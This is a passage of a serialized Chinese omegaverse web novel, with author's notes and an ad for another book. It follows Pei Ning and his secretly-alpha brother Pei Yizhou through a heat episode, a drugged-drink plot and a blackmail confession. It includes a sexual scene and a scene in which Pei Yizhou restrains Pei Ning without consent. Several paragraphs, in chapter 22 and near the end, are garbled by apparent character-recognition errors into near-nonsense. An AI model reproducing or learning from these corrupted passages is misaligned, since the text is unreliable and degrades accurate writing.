不是,这人怎么突然变这么重了? 他是一米八的大块头,此时力量却有些不够用,为了不在雇主面前掉面子,保镖还是咬紧牙关将人扛了进去。“为什么不让我进?”裴宁看着那扇缓缓合上的门,不忿道。 裴江简直要叫他祖宗了:“你也看见里头什么情况,这会儿医生都到场就位了,你进去不给他们添麻烦么。听二叔的话,别折騰。”“那你告诉我,哥哥为什么每次都要来这里过发情期?”裴宁追问。对此,裴江早就准备好了说辞:“这事你也是知道的,你哥分化早,腺体发育的不怎么好,信息素很弱,每次发情期反应都很大对吧。” “嗯。” “所以他现在发情期还是有一些,呃,怎么说呢,意料之外的状况,“裴江用手随便比划了一下,“总之他一个人待着不方便,万一出了什么事也没人照顾,所以才需要来这。““但现在我在宁江,我能照顾他。”“你这不还是医学生嘛,等你哪天成医生了再说吧。”裴江抱臂,笑兮兮地看他,“小家伙,你能有那些白大褂专业?” “……”他有点烦这个二叔了。 “别丧眉耷眼的,多大事啊。” 裴宁回忆着这兵荒马乱的夜晚,又问:“你为什么会知道哥哥出事?” 裴江掏出手机在他面前晃了晃:“信息素监测仪,科学安全,节能环保。很不巧,我就是他的半个……呃,监护人?”裴宁瞧见手机上跌宕起伏的折线,心里不快又吃味,更烦了。 “对了,今天你哥为什么突然发情?我记得离他的发情期原本应该还有段时间吧。”裴江状似不经意问。 “有人往酒里下药,我当时挡住了那杯酒殳让哥哥喝到,但我没料到就算气味也会引发发情期,”裴宁 想到晚上的事就懊悔糟心,这聚会就不应该去,“那气味很甜,具体是什么我也不清楚。”“这样啊,你别多想,回头我让人去帮忙查查。”裴江没在这个话题上多逗留。裴宁一屁股在门外的凳子上坐下,拄着下巴问:“你和我哥关系很好吗,他为什么这么信任你?” 裴江神色微动,想着,这小家伙怎么说话老是夹枪带棒的,动不动炸毛唬人一脸。 “也谈不上太好吧,但我俩都是家族不要的omega诶,”裴江低头,桃花眼里满是笑意,“这理由还不够吗?” “同是天涯沦落人啊,你哥和我都不容易。” 裴宁不语,想到哥哥那些从没说出口的遭遇,心里又给宁江的裴家记上了一笔。 “行了,现在都这个点了,你去找间房间洗漱一下先休息吧,”裴江走近,拍拍他的肩,“发情期没那么快过去,你哥他没事的,不就是个发情期么,多正常的事啊。” “你发情期难道也这样?”裴宁抬眼看他。 我要真像他这样我早一头撞死了好吗,裴江笑笑:“差不多吧,差不多。” 今天碍于裴宁在这里,再加上还要注射新药,裴江没法直接给裴亦舟扔到拳场去。虽说这件房间里也有一些小设施,但是能不能抗住裴亦舟一拳头那就不好说了。 二叔已经仁至义尽了哈,祝大侄子你好运。 裴宁被裴江被推半拉地带离了房门口,但直到晚上洗漱完坐上床沿,还是觉得不踏实。哥哥现在怎么样?他晚上会发烧会口渴吗,要是难受了有没有人陪他啊。 这些问题越想越多,杂七杂八绕在一起搅得裴宁 刻不得安生。他本来也不是犹豫不决的人,想了会儿,还是披上件薄外套出了门。 裴江带他们来的地方似乎是一个会所,但装潢却并不淫靡,反而十分低调,推门走出,外面的廊道空荡安静,并不像营业的样子,没有人声,只有走廊的壁灯悠悠发着光。 这裴江也真是老大不正经的,居然带侄子到会所来治病。 裴宁方向感不错,只要是走过一遍的路基本上不会忘、裴江给他安排的房间在二楼,而裴亦舟则在叁楼,晚上外面开的灯不多,裴宁凭印象摸到了叁楼,从窗戶往下看的时候,却发现 楼门口居然站着两叁个保镖 这么严肃?可今晚这里不是没有营业吗。 几乎是下意识的,裴宁直接就联系到了裴亦舟的身上。在原著剧情中,裴家那几个alpha没少给裴亦舟使绊子,如果裴江真和哥哥是 条战线上的人,那做好保护措施也无可厚非。 墙上的壁灯采用了复古的风格,黄铜雕花,繁复华丽,裴宁在橙黄的光线下站到了裴亦舟房间的门口。 他摸上门把,往下一按。 “嗒。”门打开了。 一阵木兰花的芳香迎面而来。 信息素是能够表达情绪的,每当裴宁接触到裴亦舟的信息素时,总能从中读出一些信息。 而此时,他的潜意识只向他传达出了一个念头:饿。 是饥饿的意思吗? 也对,晚上聚会的时候哥哥和他一样没吃什么东西,后来又被这突如其来的发情期搅和的一团乱,哥哥会饿也是理所当然。 裴宁想着这个点裴亦舟大概率已经睡着了,于是没有开灯,选择摸着黑往床边走。但他还没走出两步就被 根类似杆子的东西绊了一脚,险些摔到地上。裴宁看不清,只纳闷房间里怎么会有这样的杂物?经此一役,他愈发小心翼翼地往前挪,过了好一会儿总算到了床边。裴宁弯腰,想要去碰床上的人,但这一次伸手,却扑了个空。 床上没人! 学过格斗的裴宁对危险有一种天然的感知。在手指扑空的那一瞬,他忽然脊背一凉。 而就在下一秒,一只胳膊直接从背后搂住了他的脖颈,那动作不由分说,几乎是精准地扣住了裴宁的喉咙,将他整个拉到怀里。裴宁应该要挣扎的,但熟悉的气息却让他清楚知道,是谁在他身后。“哥哥?”裴宁出声,嗓音有些顫。 哥哥这是怎么了? 裴宁的话语飘飄然落下,裴亦舟却没有回音,只是不断喘息着。那些灼热的呼吸从他双唇问呼出,一丝不落地喷洒到了裴宁的后颈上。吓人的温度带着对进食的渴望,几乎从背后将裴宁整个吞没。横亘在身前的胳膊越收越紧,而裴宁就像是被抓住了后脖颈的猫,缩着脑袋一动不敢动。 呼吸声越发急促,裴亦舟没有说话,手上的动作却一刻不停。宽大的手掌从后往前一点点移动,最后紧紧掐住了裴宁的腰。他低头,几乎是严丝合缝地将自己的下巴靠在了裴宁的肩膀,似乎想汲取什么气味。 “哥 哥!”回过神的裴宁反手推了下,但没有得到任何反响。不仅如此,他推拒的动作还造成了了裴亦舟的某种误会,于是那条手臂愈发用力,将裴宁一整个锁了起来。 这个姿势不大对劲啊!裴宁心中大呼不妙,这也是发情期的正常反应吗? 还、还有,omega能有这么大的力气?! 谁能救救他这个绝望的未分化者!! “小宁……小宁。” 不算响声音在裴宁耳根边炸开,亲昵,又黏腻。 他头皮发麻,大脑一片空白。 而裴亦舟的动作还没有到此为止,他垂首,用高挺冰凉的鼻尖抵在裴宁的后颈上滑蹭,像是找到了某种可以安放的轨道,他的呼吸变得急迫了些许。 裴宁一凛,整条脊椎都发麻。那个位置……是他还没分化的腺体。 裴亦舟眉目深邃,鼻梁比起寻常人更高,挺拔的不像话。他没收劲,残留在裴宁后颈上的,属于鼻尖的触感越发鲜明。裴宁被桎梏着,背脊紧贴裴亦舟的前胸,没有一点间隙。挣扎间,一道喟叹轻飘飘落下,裴宁脸色骤变。 ?这不对吧!!出、出大事了! 裴宁这下彻底忍不了了,他加大了掰扯裴亦舟胳膊的力道,想要努力转过身来。 “哥哥,你先清醒一下!要不要我帮你去叫人?你先、你先把我放开!”裴宁面红耳赤地想要脱逃,但裴亦舟却还是不依不挠地往上靠。 他们一拉一推,又始终接抱在一起,裴宁某次起身的动作进行到一半时又再度被裴亦舟的拉扯带回,但这次他起身的惯性太大,这就导致两个人直接翻滚着跌在了地上。裴亦舟被垫在裴宁身下,昏沉的眼眸徐徐睁开,看着他。 “我马上起来,有没有压到你?”裴宁现在根本不敢直视裴亦舟的眼神,“背上痛不痛,肋骨,对还有肋骨,我马上起来!哥哥你快点松手啊!”他左顾右看想要起身,但钳在他腰上的手指已然扣得很紧。裴宁只觉得自己脑子都快冒烟了,甚至幻想着裴江能不能从天而降来帮帮他!而就在他疯狂思想斗争的时候,裴亦舟忽然浑身一怔,松手了。 “哥哥?”腰上一轻,裴宁立马滚到一边。 这是恢复理智了吗? 方才瘋狂的念头还没完全褪去,裴亦舟躺在地上,扶着脑袋摇了摇,他薄唇微张:“热。”他略微隙开的眼底几乎是猩红的,血丝接连成片,像是一张网,罩住了余下的情绪。裴宁还以为这是发烧的前兆,忙不迭起身想要去给他找毛巾敷一下。 “很热是吗,不要急,我马上去找毛巾,哥哥你等一下!” 裴宁摸着黑到墙边开灯,咔哒,霎时之间黑夜变白昼。裴宁眼睛酸涩,过了两秒才彻底适应,然而等他睁开眼,屋内的场景却叫他错愕不已。 破漏的沙袋,碎掉的木板,还有弯曲凹陷的铁杆——那不是刚才绊倒裴宁的罪魁祸首吗! 这房间里怎么是这样的?裴宁不解,但他完全没想过这些东西会和裴亦舟有什么干系。 他多看了两眼,准备回头问问裴江。现在要紧的事降温,赶紧降温!再让哥哥热下去谁知道等下又会发生点什么…… 裴宁环视一圈,幸好,这房间里自带了一个卫生间。裴宁推门而进,旁边的栏架上正巧就放着两个没有拆封的新毛巾。 他动作利落撕开包装,将毛巾浸入水中彻底打湿,拧干。 做完这一切,他急急忙忙地推开了雾面的玻璃门。 但,那道视线却只往外投了千分之一秒就火速收回。 “砰—!” 裴宁猛地关上门。 他背靠在玻璃门上,胸膛剧烈起伏,咚咚咚,心脏隔着皮肉快速敲击,快要喘不上气。 手中的湿毛巾落到了地上,可裴宁此刻根本无暇顾及。 他、他一定是眼花产生错觉了对吧? 不然为什么、为什么刚才推开门,他竟然看到了哥哥在……自/w.ei。 作者有话说 ?显示所有文的作话 ……" 感谢小天使们的5瓶营养液~ 可怜的小猫宁被吓蔫巴了( —美味预收请吃—《真少爷重生后决定躺平》【偏执暗恋假少爷&躺平咸鱼真少爷|双重生】 方余在农村长到十七岁,成年那一天猛然得知,自己竟是豪门被换的真少爷。只可惜,他这个“真货”和那位品行优异,聪慧端方的假少爷比,全身上下都相形见绌。方余不甘心,争了又争,到最后一无所成两手空空,还凄凄惨惨死在一场海难里。再睁眼,他发现自己竟然重生回到十八岁那年。这次方余不想争也不想抢,两腿一蹬,旁若无人地过起咸鱼生活。豪门爹妈意外:“小鱼,我们准备把公司百分之五的股份过户到你名下。”方余摆手:“不要,公证麻烦的要命。”这烫手山芋谁爱要谁要吧,反正他不缺钱,死也不要。其他豪门子弟讶然:“你不去接着上声乐马术课了?”方余闭眼:“累死人了,你知道那马背上多颠么,谁爱去谁去。”每次骑完回来一身骚味儿,到底是谁在爱骑马。然而,唯有假少爷对此没有任何表示。他不言语,只是默默注视方余。 方余看着他就来气,一把揪住了对方的衣领:“看你妈呢?”假少爷泥人似的,没脾气:“看你。”方余疹得慌,手一抖,松开了。这人神经病吧! 很久之后,方余偶然打开了假少爷的日记,而首篇日记落笔的日期,正是他重生那日。 【又见到他了,很开心,手在抖。但是十年前的他好可爱,生气也很可爱。】【他总是很讨厌我,要怎么做才能让他笑起来?】 “啪——”日记落地。 方余愕然,原来重生的,不止他一个。 22、……再等等 房间满地狼藉,裴亦舟不知道什么时候坐起了身。他背靠在床沿上,眉眼低垂,手上的动作稍顿。 被看见了吗? 那他很抱歉。 理智时而出现时而消失,断断续续就像是接触不良的电路,明灭不定。 被窥探,被看见,这种感觉常人并不喜欢,裴亦舟也不例外。但现在目光的来源成了裴宁,裴亦舟却愈发兴奋,难以言喻。 卫生间的门在此时被严丝合缝地关上,大有一副再也不打开的架势,裴亦舟盯着雾面玻璃背后那道鬼鬼宗崇的人影勾起唇角,心痒的厉害。 突然,那扇门隙开了一条缝。 “哥……哥哥,我可以出来了吗?”裴宁弱弱道,他现在恨不得立马把刚才的记忆从脑子全部剔除,剔除!! 问句的尾音刚刚落下,裴亦舟就闷哼了一声:“乖……再等等。” 裴宁:!!! 砰! 他二话不说又把门再度碰上。 要命了要命了要命了!他怎么就忘了哥哥这是发情期呢?正常人度过发情期都需要纾解欲望吧,哪怕有抑制剂辅助,或许也需要其他渠道缓解。从前裴亦舟之所以没表现,大概是因为腺体痛得太厉害,没心思去想。但现在不一样了啊,都是成年人了,这很正常……这很正常!是这样吧?肯定是这样! 裴宁在心里马不停蹄地写了一篇两万字的论文,主题清晰,论据鲜明有力且不具备主观色彩,简直是下一秒就能拿到页级学术报刊上发表的程度。终于,他成功将自己说服。没事的没事的没事的…… 而门外,裴亦舟不用看都能猜到裴宁现在在想什么。 或年等理智彻底回之后他也会候饰现在的所作所为,但眼下终究足易感明,而他络究是apha,自制力如E刷般消失的无影无踪,装亦舟几乎足带者些快意地加快了手上的动作,他对自己的了解称得上粗暴,声响不小,外放如坦然 顶峰来的并不太快,甚至被他最后不疾不徐的动作拖延了一时片刻。约莫是太仓促,最后溅出来了一些,但哪怕裴亦舟此刻尚未尽兴,还是十分贴心地收拾好了现场,免得裴宁难堪。 “小宁,可以来扶我一下吗?”裴亦舟嗓音低哑,远远听起来十分虚弱。 这下好了,裴宁也顾不上其他,害羞和不好意思都得往后捎捎,当即推开了门。 裴宁原本还担心自己看到什么不该看的,但裴亦舟处理得妥帖,竟然连张纸巾都没落在外面,他心头的尴尬一下散了大半。 只要他够淡定就不会有事! “哥哥你现在头还晕吗,我给你星个体温吧,要是还有哪里不舒服我就去戈装江,他不是请了一堆医生么,也该派上用场了。”裴宁催促着自己的思绪赶紧跑开,最好离刚才的片段越远越好。眼见裴宁又要像陀螺一样转起来,裴亦舟拉住他的胳膊。 “我没事,睡一会儿就好了,”他说这话的时候笑着,脸色却憔悴,“时间不早,不用再麻烦别人。” 裴亦舟都这么说了,裴宁也不会执意做什么,但房间里太乱,裴宁还是忍不住问:“为什么这房问里放了那么多坏掉的器材,这是装江故意的么?一个不小心让你磕到碰到怎么办。”裴亦舟面不改色:“我也不清楚,可能原本就在这,医生走的时候不小心带倒了吧。” 不心带倒?这意思就是说医生轻飘飘的衣摆不小心带倒了那片木板,于是木板摔地上碎开又砸弯了铁杆,然后铁杆落地之后又脚滑,遂而滑动着捅破了沙袋,最后沙袋漏了一地,结果就是这里一片狼藉。其实仔细想想,也…也不是没可能。 “小宁,我要休息了,你要走吗?”裴亦舟侧身看过来,虽然说的是问句,但裴宁分明从他的眼里看出了不舍。 瞧瞧,裴江他懂什么,哥哥发情期就是需要自己陪的!此时的裴宁已经全然忘了刚才的窘迫局面。 “我才不走,我在这看着你,”裴宁没提刚进门时裴亦舟失控的举动,“我靠你床边陪你,要是我睡着了你就捏捏我的手,我马上醒。”“嗯。”裴亦舟嘴上说的好听,但真等到裴宁真睡着了,他却小心地把人搬上了床,安置在自己身边。为照顾他这个“发情期”的omega,房间里冷气开得很足,嗖嗖的冷气直往地板上沉。担心裴宁感冒,裴亦舟索性用被子将他团了团,只露出一个脑袋。 裴宁浅棕色的发丝凌乱,看起来毛茸茸的,裴亦舟躺下,侧头仔细看着他。 卧室里留了一盏床头灯没关,微弱光线里,裴亦舟几乎可以清晰地看到裴宁脸上的绒毛。那是白色的,很小很软,薄薄的一层,附在裴宁的面颊上。 发情期和易感期其实大不相同。 一者柔弱,一者暴戾。而他是后者。 占有,掠夺,啃咬乃至于标记是属于身体的本能,而裴亦舟甚至分不清,裴宁此时留在他身边,带给他的究竟是安抚,还是挑动。裴亦舟一夜未眠,凌晨时分他收敛好信息素,弯腰从床底下扯出昨夜被他随意丢进去的止咬器,拎着那截皮绳推开了房门。 裴江早就等在外面。 “终于舍得出来了?”裴江挑眉,目光在他手中的止咬器上晃了圈,略显戏谑。裴亦舟:“我先去拳场,他醒后要是找我,你就让他下来。”裴江这下有些诧异:“不怕你那个好弟弟看到你那样子?不是还在装么。”“他来了,我就不会是那样的。”裴亦舟侧目觑他,像是看在白痴。啧,这人说话的装X感到底是哪来的?裴江百思不得其解。 “房间里那么多东西他就没问你什么?” “问了。” “然后呢?”能不能多说两句话呢我请问,一棒子下去也敲不出三个字来。裴亦舟颔首,像是想到了什么,他笑了笑:“不用我多说,我猜他会帮我打圆场。”“???”你们兄弟之间还有这服务呢。裴江自己家里的关系和兄友弟恭沾不上半毛钱干系,这会儿看裴亦舟和裴宁能处成这样,心里头莫名还有点酸。 “所以你昨晚真就什么也没做,就单纯和裴宁睡在一张床上?”裴江说着降低了视线,看了眼裴亦舟明显现在都还没消停的地方,“我看你也不容易啊,这样顶着真没事?” 他毫无身为omega的自觉,放肆的很。 “我没睡。”裴亦舟不以为意,捋起前额的碎发,“看了他一晚上。” “…”喷不了,这是真变态。 裴江咋舌,摆摆手让裴亦舟快点走,他真是瞧不得对方那个样,在人前装模作样看起来斯文的不行,背后就本性毕露,懒得装一点。 裴亦舟头还晕,离开的时候低头按了下太阳穴。 裴江的视线落下,瞧见了他贴在后颈上还没摘下的信息素阻隔贴。橙黄色卡通的阻隔贴,末端是一只微笑猫猫头。想也知道这不会是裴亦舟自己置办的,那到底是谁送的,真的好难猜哦。裴江叹了口气,小家伙也不容易,自己能帮,那就多帮一下吧。 … 帮不了一点。 裴江看着眼前醒来之后就着急忙慌抓住他衣领,然后满口“我哥哥呢?”“我哥哥去哪了?”“你是不是把我哥哥藏起来了?”的裴宁,垮下了脸。 其实兄弟关系不好也没什么,最起码很省心。 “你冷静,你哥在楼下呢,不放心的话你自己下去看就完了。”祖宗喂,我这可是真丝衬衫,别给我拉勾丝了。裴宁收放自如,一得到裴亦舟的音讯,直接开口:“麻烦二叔带路,我第一次来,还不认路。”行,冲着这句二叔,裴江还是决定好人做到底,送佛送到西。 “走吧,下楼。”裴江挥手,示意裴宁跟上。 他倒也不怵裴宁到楼下,因为地下室的区域不止有拳场,也有正常的休息区,不熟悉布局的人到了这根本找不到拳场的门。 裴亦舟的易感期一般会持续三到四天,这一次是由外力引发的,虽说来的比平时更凶猛,但持续的时间却没这么长,再加上那人送过来的新药,应该用不了那么长时间。裴江按照既定的路线领着裴宁进了正常的房间,裴宁一进门就看见裴亦舟靠在床上,立马跟小鸡仔一样撵了上去。“怎么过来了?”裴亦舟笑得很温和,与往常已经没什么两样。空气里的信息素浓度直线下降,裴宁很清楚地察觉到了不同。 “哥哥你的发情期……这么快就好了?”一般来说也要两三天吧,怎么现在已经闻不到气味了。 “嗯,我已经好多了,你不用担心,”裴亦舟摸摸裴宁的头,“下午就回学校吧,你课程紧,要是落下的多,回头补起来就太累了。”裴宁还是不大放心,见状,一旁的医生过来把裴亦舟的情况详细和他说了一遍。 一堆连医学生都听不大懂的术语叽里呱啦蹦出,而最后的结论就是:裴亦舟现在已经彻底没事了,但保险起见,还是要在这里多留一会儿。 这话换别人来说裴宁还不相信,但这是白大褂,他又觉得像那么一回事。 昨天事出突然,裴宁来不及想这么多就跟来了,但今天是周一,他又全天满课,这会儿导员的消息都已经发到手机上了,着急上火的,生怕他出什么事。他依依不舍地抱了下裴亦舟:“有事你一定要告诉我,晚上等我下课了再来。” “嗯,路上小心。”裴亦舟温和一笑。 可送走裴宁,门刚关上,裴亦舟就猛地咳嗽起来。 他双臂乃至肩颈腰腹的肌肉尽数隆起,血管攀附在上面,就像是快要爆裂 般鼓胀。房间内的信息素浓度极速上升,花香也淡去,用于粉饰的表象摇摇欲坠。“能撑到现在我该夸夸你吗?”裴江的嘴还是不消停,但行动却诚实。一见情况不对,他直接从口袋里掏出了瓶便携信息素阻隔剂和专用口罩。裴亦舟不语,强忍着按捺下身上的疼痛。 新药对他而言起效更快,药效更强,能将属于alpha的信息索完美俺盖,将他伪装成一个不折不扣的omega。能满足那个人的期待,以便掩人耳目,让所有人都以为他是个没有竞争力的omega.但,很痛。 真的很痛。 裴宁进来前,他特意用犬齿咬破了下唇。在光线不甚明亮的地方,在裴宁看不清的地方,伤口流出的血色掩盖了苍白。“要打镇痛剂么?”裴江蹙眉,眼睁睁看着裴亦舟的冷汗像暴雨似的落下来,转眼就将床单打湿大半。 每次都是这要死的样子。本来已经好上不少,但耐药性一生,就不得不换药,而这药一换新,他还是脱不开这如同跗骨之蛆的痛苦。裴亦舟的指骨紧绷,皮肉下的骨骼贴着往外挤压,他压下喘息,只说:“不用。”这份痛,不能忘。他要记住,永远记住。 裴宁揣着心事回到学校,匆匆给导员回过消息后就转道去了寝室楼。 平时中午要是没课,他一般都会回寝室休息小憩,偶尔自习教室满员,他也会回寝室整理笔记,因而一些要用的资料也被一并安置在那。 上午第一节课裴宁已经补好假条,但接下来的实验课却是必须要去的。他的实验笔记本还在寝室,上课之前不得不跑一趟。裴宁回去的这个点还挺巧,开门的时候寝室里其他三个室友都在。 门一推开,六只眼睛齐刷刷看过来。 “裴宁?你怎么这会儿回来了。”燕呈嘉疑惑道。 裴宁开学递交住宿申请时附带了自己的体检报告单,上头写的很清楚,他未来的分化倾向是alpha,于是学校给他安排的另外三个室友也清一色全是alpha。事情太多太杂,裴宁拿起笔记本就要出门:“上午有事请了个假,我现在急着去赶实验课呢。” 燕呈嘉闻言点点头,但裴宁床位就在他旁边,这一走一动,风起了,登时,一股浓郁的气味飘了过来,他猛地皱眉,被那味道弄得难受的不得了。“我去,你上哪去沾了那么浓的信息素回来,我的天,这也太浓了。”燕呈嘉吐槽,没忍住咳嗽了两下。 另外两个alpha室友也附和着点了点头。 “确实浓,还怪呛人的。” 信息素?我这两天接触的浓郁的信息素,应该只有哥哥了吧。 可对于omega的信息素,alpha不应该趋之若鹜,然后被迷得晕晕的吗,怎么现在一个两个都是副快要吐了的样子?“你们没事吧,这……总之有一点小意外,所以沾了些omega的信息素,”裴宁实在纳闷,“你们难道不觉得很好闻吗?”虽然他也不是很想听见燕呈嘉回答“好闻”,但某种程度上来说,那本该是事实。燕呈嘉受不住这冲击,翻箱倒柜从抽屉里掏出了几个口罩,顺便分给了另外两个难兄难弟。 他戴上口罩吸了几口气,好不容易才缓过劲:“我也不知道到底是怎么回事,但这真不一样。其他那些omega的信息素你要说刺激吧,也有点,就像拿根针轻轻扎你,真的蜜舒服。” "但你身上这味太冲,已经不是针的范畴了,那完全是带倒刺的钢鞭!" “啊?真的假的?”裴宁匪夷所思,觉得他这说的也太夸张了,至于么。 “当然是真的,我没夸张一点,这就是我最直观的感觉了,“燕呈嘉谨慎地后退步,稍微离他远了点,“总之,如果说我以前闻过的omega信息素都是情趣,那你这” 他放低声音,像是不好意思,但还是要说。 “你这已经完全是超级无敌过分的艾斯爱慕级别了!” 作者有话说 ?显示所有文的作话 感谢小天使们的1瓶营养液~ 小宁一天的心路历程belike:-吓死我了吓死我了,哥哥尺寸…嗯?这对吗?- 停停stop,先不准想这种事了,哥哥身体怎么还不好,我要整晚守着他!-咦,我怎么睡着了?还睡在床上?-哥哥似乎好多了,回学校读书!-燕呈嘉这个人在胡言乱语点什么啊,当心扫黄的给他抓起来(·▽·) 23、第五十三针 “你在胡说八道点什么,”裴宁抱着笔记本皱眉,“小心扫黄的来给你抓起来。” 燕呈嘉无奈摊手:“事实如此,你要不喷点阻隔剂再出去,我真担心回头你们实验课上吐一片。” 裴宁将信将疑,但燕呈嘉说的笃定,另外两个信息素较弱的alpha室友则到现在都还没缓过来,保险起见,他还是用燕呈嘉的阻隔剂给自己喷了几下。“这样没问题了吧。”裴宁问。燕呈嘉拉下口罩谨慎嗅了嗅:“嗯,比起刚才好多了。”“你快去上课吧,听说你们那教授挺魔鬼的,你可别迟到啊。” 裴宁是踩着点进实验室的,实验服还夹在臂弯里,甚至都来不及穿上。他前脚刚在自己的位置上安顿好,后脚老师就进了门。“今天我们任务比较重,接下来的安排大家都听好……. 大概是心思落在别处,裴宁没忍住走神了好几次,他频频在课桌下打开手机,但属于哥哥的消息栏始终平静,没有动静。上午三四节是实验课,下午紧接着又是病理学和公共课,裴宁傍晚跑进食堂快速塞完晚饭,又拿着书去了阶梯教室,准备上最后两节选修课。阶梯教室空座位多,裴宁溜到最后的角落,准备下课早点走。但他刚坐下,旁边就来了个不速之客,发消息的手登时一顿。 “我从你同学那问了你的课表,所以才到这里来的。我有些话想和你说。”越思易低着头,手指不安地在熄灭的手机屏幕上反复磨蹭。自己还没去找他,这人居然主动找上门来。裴宁当然知道这里面有猫腻,而相较于那一晚的气愤,现在的他已经彻底冷静。 “那你说吧。” 听见裴宁没有再叫自己滚,越思易侧过脸:“你……你还生气吗?” 裴宁笑了:“废话。” “啊,是,你是要生气的,”越思易面上是显而易见的失落,“递那杯酒,其实不是我的本意。” 他说的含含糊糊,裴宁蹙眉,直言:“你要是想道歉,那就把事情说清楚,如果不想,那请离开,我有我自己的方法可以解决。” “那天的酒是洒了,但我当时还拿纸巾取了样,里面是什么东西我大可以送去化验,最后是什么结果你自己承担。恶意引导omega发情是违法的,我想你也清楚。”越思易脸色骤然一白,他摆手:“我不是这个意思,我只是想告诉你,在这件事上…有人想害裴亦舟。” 裴宁一凛:“你这话是什么意思。” 越思易抿唇:“那药不是我自己的,是有人给我的。他要我下在酒里让裴亦舟喝下去或者闻到,然后再告诉他裴亦舟的反应。” “你说了?”裴宁神色锋利。 “我没有!”越思易连忙否认,他拿出手机,“消息都在这里,我没有删除过。你看吧,全部在上面了。” 裴宁拿起手机,只见“未知联系人”下面一栏里躺着寥寥可数的几条信息。 【未知联系人:药下了吧,他的反应怎么样?】 【ysy:没什么反应,喝完之后就走了,看起来很正常】 【未知联系人:你确定吗,我想你应该清楚说谎的代价】 【ysy:他真没反应,看起来和平时没什么区别,你说的我已经照做,以后不要再来找我了】 裴宁的视线逐字逐句扫过,末了,他放下手机,心绪几番起伏,而后看向越思易。 此刻的越思易惴惴不安,像是被按在快要落下的铡刀前的兔子:“你看完了吧,裴宁,我保证我真的什么都没说!” 这人嘴里的话可信度稍稍提升。 “那你告诉我,这个‘未知联系人''是谁?”裴宁问。 越思易犹疑,像是不太敢说。 “你不想说?那让我来猜,猜中了你就点点头,这样总可以吧,”裴宁把手机还给他,“要是你不愿意也没事,那我们之后也没有再见面的必要了。”听到最后一句话,越思易瞳孔骤缩,似乎那对他而言才是最难以接受的事。“你说吧,我会点头。”越思易小声说。 食指在木桌板上轻轻叩了两下,裴宁拄着脸侧过头:“裴从川,裴城甫的宝贝三儿子。”越思易霎时双目圆睁,他抬起脸,有些卡顿地点了点头。 bingo,猜中了。 “你怎么知道的?” “那还用多想么,装城甫不是最宝贝他了么,他们那 辈本就只剩两个人,装江是个omega,也没什么事业,现在的装家对于他而言还能造成咸胁的,不只有我哥了么”裴宁语气平常,心里却惊涛多浪越思易下药这件事的始作俑者原来是裴从川么?所以,不论邱方明在不在,他都会下手,因为他根本就对那个alpha没意思!大概是之前太过顺遂,以至于裴宁的思维完全被书里的一系列描写误导。他被引着钻进牛角尖,单纯以为这只是由一个alpha引起的争端。见此情状,越思易也没再含糊:“那个人就是他。” 他心情泪丧至极,低垂着脑装等候装宁的周问,质问他为什么要这么做,然后再像收拾邱方明 样将他也收拾了,毕竞他知道,裴宁的家世很厉害,或许比装从之流不要历害,想要收拾他这样的小虾米只需要库军手。这是他决心要递出那杯酒之前就做好的心理准备。此前和谐的关系,那张关键时刻递出的信息素阻隔贴,还有乐团里距离最近的练习位置,一切都将变成泡影。 但裴宁思索片刻,只问他:“他所说的‘说谎的代价'',是指什么?” 越思易闻言猛地抬头,愣愣看着裴宁。 裴宁皆了眼刚站上讲台即将开课的老师,不紧不慢地翻开自己的笔记本:“四+五分钟,越学长你自己想清楚吧。要是想说的话,等会儿下课请告诉我。“裴宁说完转过身,正儿八经准备开始听课。晚上这两节选修课是裴宁开学那会儿让裴亦舟帮他抢的,上的是酒文化的欣赏与品鉴。 开课前他在家里幻象,想家老酸着白酒酒黄酒道进门,然后全班道品鉴共的,结果第节课,一位发色化白的老教受母悠悠地兄进来,径白打开p,开始了无超生确的明读,自此,心碎的长宁就给这无趣的酒文化课记了一笔。等课上完,他的脑袋才慢慢转过弯。医生曾说过,他在分化前要少饮酒,能不喝就不喝,而裴亦舟对有关裴宁的忌口和医嘱都如数家珍,想来也不会忘了这一茬。 而现在裴亦舟都在宁大读了四年书了,他还能不知道这选修课是什么德行么?能答应帮裴宁抢课,他必然对这课程的内里一清二楚。 裴宁其实这会儿有点分神,睁眼闭眼想的都是哥哥,记笔记都漫不经心,水平直线逼近白话大仙。 越思易欲言又止,屡次想开口,但他刚一张嘴,老教授就莫名咳嗽: “浓香型白酒,大家都尝过伐?”这么一激,堆到嘴边的话就散了。 好不容易再度打起劲,越思易甚至还没来得及张嘴,老教授又拍拍手,笑呵呵地问:“那酱香型呢?有没有同学了解过。”这老教授最烦学生上课说小话,明明是选修课,纪律却维持的比必修课还好。 裴宁对此心知肚明,却权当没看见。 谁让越思易要给哥哥下药,哪怕后头那点回复算是补救,也不能悉数抹平先前的错误。就让他自己纠结去吧。 至于自己…裴宁垂眸,笔记本上本该记下课程信息的空处,写上了“裴家”两个字。裴宁的笔尖在那滚了一圈,最后收了回去,狠狠地画了个“×”。终于,煎熬的四十五分钟结束,下课铃响,越思易像是快要憋死了一样开口:“我都告诉你!你想知道什么,我都告诉你。”夜色静谧,裴宁跟在人流末端踏出教学楼,耳边还回荡着越思易的话语。 “之前我和你说过,我有个adphaE姐,我们很久没见过面,这部是真话。她高中婷业后就 直给悲从I干活,裴家以前那脏活累活都要他们这帮打手去收尾,虽然后来她给装从做了保镖,但不是有很多尾巴被人捏着。” “裴从川不知道怎么找上了我,他告诉我,要是不照做的话就要让我姐去坐牢。只要他想,那些东西起码能让我姐二十年都出不来…可那些事分明与她无关,她只是替罪羊。” 爸首妈妈很早就去世了,以前条件不好,是她组在外面T工干静钱养活我,我能来这里上大学,能学会大是琴也都是 出的线,从小到生活上学,我吃的穿的全都足姐组给的,所以我不能坐视不理,对不起装宁 我只有一个烟组。 裴宁踩下一级台阶,那他当时是怎么回话的来着? 他说:“既然你也是被强迫的,那我们做个交易吧。你给我当卧底,我送你姐姐离开,怎么样?” 晚风吹过,裴宁沉浸在思绪之中。 他并不是太迟钝的人,几次来不及躲开的注视,小心掩盖也遮不去的脸红,种种线索连缀,裴宁不是没有察觉越思易的心思,他只不过觉得那没有戳破的必要。多一事不如少一事,对于从小到大的追求者,裴宁最惯常使用的手段就是视若无睹,如非遇上缠得紧的,他也不会快刀斩乱麻。他是看着单纯,但出生在裴家那样的家庭,耳濡目染,裴宁不可能真的那么单纯。 旁人的喜欢对他而言并非一无是处,至少在今天这种时刻,他可以在言语间掺入引诱,借着越思易对自己的好感达成目的。该说自己很坏吗?裴宁不觉得。 比他更恶劣的大有人在,他所做的一切,不过是为了保护想要保护的人。 